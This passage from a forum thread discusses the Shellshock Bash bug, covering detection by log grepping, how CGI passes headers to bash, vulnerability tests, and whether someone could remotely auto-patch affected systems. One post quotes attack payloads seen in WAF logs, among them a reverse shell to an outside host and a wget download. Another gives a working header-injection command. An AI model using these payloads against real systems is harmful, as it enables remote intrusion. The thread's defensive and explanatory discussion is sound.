Had anyone suggested and/or implemented something like building a tiny wrapper for bash that would clean environment and then execve("/bin/bash.vulnerable", argv, cleaned_envp)?
Everything you need to know about the Shellshock Bash bug
131–140 of 296 posts
Re: Everything you need to know about the Shellshock Bash bug
#132Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)
sudo requires a password to be entered by default, right? I would guess that for most setups this wouldn't be possible without some kind of privilege escalation as well (or if the webserver was running with root privileges).
Re: Everything you need to know about the Shellshock Bash bug
#133You can tail your access.log and grep the expression "\(?\s _ \s \)?\s {|cgi" to get an idea if someone is trying to exploit your webserver. The cgi part will return a lot of false positives, but if you cannot disable cgi, you might as well track it being requested.
That will only find either clumsy exploit attempts or whitehat scans that are not trying to hide themselves.
CGI sends most headers through to the script as environment variables (i.e. a Foobar: header will turn into $HTTP_FOOBAR) so at attacker can just pick a header name that isn't likely to be logged.
Re: Everything you need to know about the Shellshock Bash bug
#134This is being actively exploited. We (CloudFlare) put in place WAF rules to block the exploit yesterday and I've been looking at the log files for the blocking to see what's going on. Have been seeing things like: () { :;}; /bin/ping -c 1 198.x.x.x () { :;}; echo shellshock-scan > /dev/udp/example.com/1234 () { ignored;};/bin/bash -i >& /dev/tcp/104.x.x.x/80 0>&1 () { test;};/usr/bin/wget http://example.com/music/fil…
Out of curiosty: did it cause any problems with intended use of this shell feature? Did anyone complained that it broke something that worked before?
I assume Cloudflare are filtering HTTP headers. I cannot imagine a valid reason to pass in functions to bash in headers.
Re: Everything you need to know about the Shellshock Bash bug
#135Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)
and how would the "benign attacker" know the super user password that sudo will ask for? its not like this is a logged in ssh session.
Re: Everything you need to know about the Shellshock Bash bug
#136Has anyone constructed this exploit as a simple `wget` command?
wget --header='Referer: () { :;}; touch /tmp/vulnerable ' www.example.com
Note that you'll typically want to supply the URL to a CGI script on the site, not just www.example.com. Don't think you're unaffected just because the top-level page of your site doesn't appear vulnerable.
Re: Everything you need to know about the Shellshock Bash bug
#137For Windows devs: remember that some tools and libraries come with bash (and some may not even tell you explicitly).
For instance, msysgit has the vulnerability[1]:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
Re: Everything you need to know about the Shellshock Bash bug
#138Read a bit about this because I didn't understand CGI. tl;dr version of what's going on here, if I'm not mistaken (assuming apache/php for this example):
1. Web server (apache) gets request to route to CGI script (PHP)
2. Per the CGI spec, apache passes the request body to PHP as stdin & sets the HTTP headers as environment variables, so PHP can access them
3. In the PHP script, `exec`/`passthru`/`shell_exec` etc. is called to do something in the shell/on the system level. This spawns a new shell (which may be bash)
4. bash interprets the environment variables set by apache
The rub lies in step 4: when bash interprets an environment variable called `HTTP_USER_AGENT` containing the value `() { :;}; /bin/ping -c 1 198.x.x.x` it "gets confused" & interprets that first part (before the second semicolon) as a function, then executes the second part as well
Hopefully this answers the "how does the exploit get from the browser to bash?"
Further question: "If I do not use exec/shell_exec/popen etc, am I still vulnerable (just by virtue of using mod_php)?" AFAICT No, but I am not really sure (I hope someone clears this up).
Additional note about PHP: disabling all these passthru type functions has been recommended for years: http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpi...
Re: Everything you need to know about the Shellshock Bash bug
#139Unless I've missed something, could some benevolent person use the bug to cause remote systems to run something like "sudo apt-get update && sudo apt-get install bash", to patch the vulnerability automatically? (it makes lots of assumptions, but surely it's better to have some patched systems as a result.)
and how would the "benign attacker" know the super user password that sudo will ask for? its not like this is a logged in ssh session.
Extremely good point, thank you. :)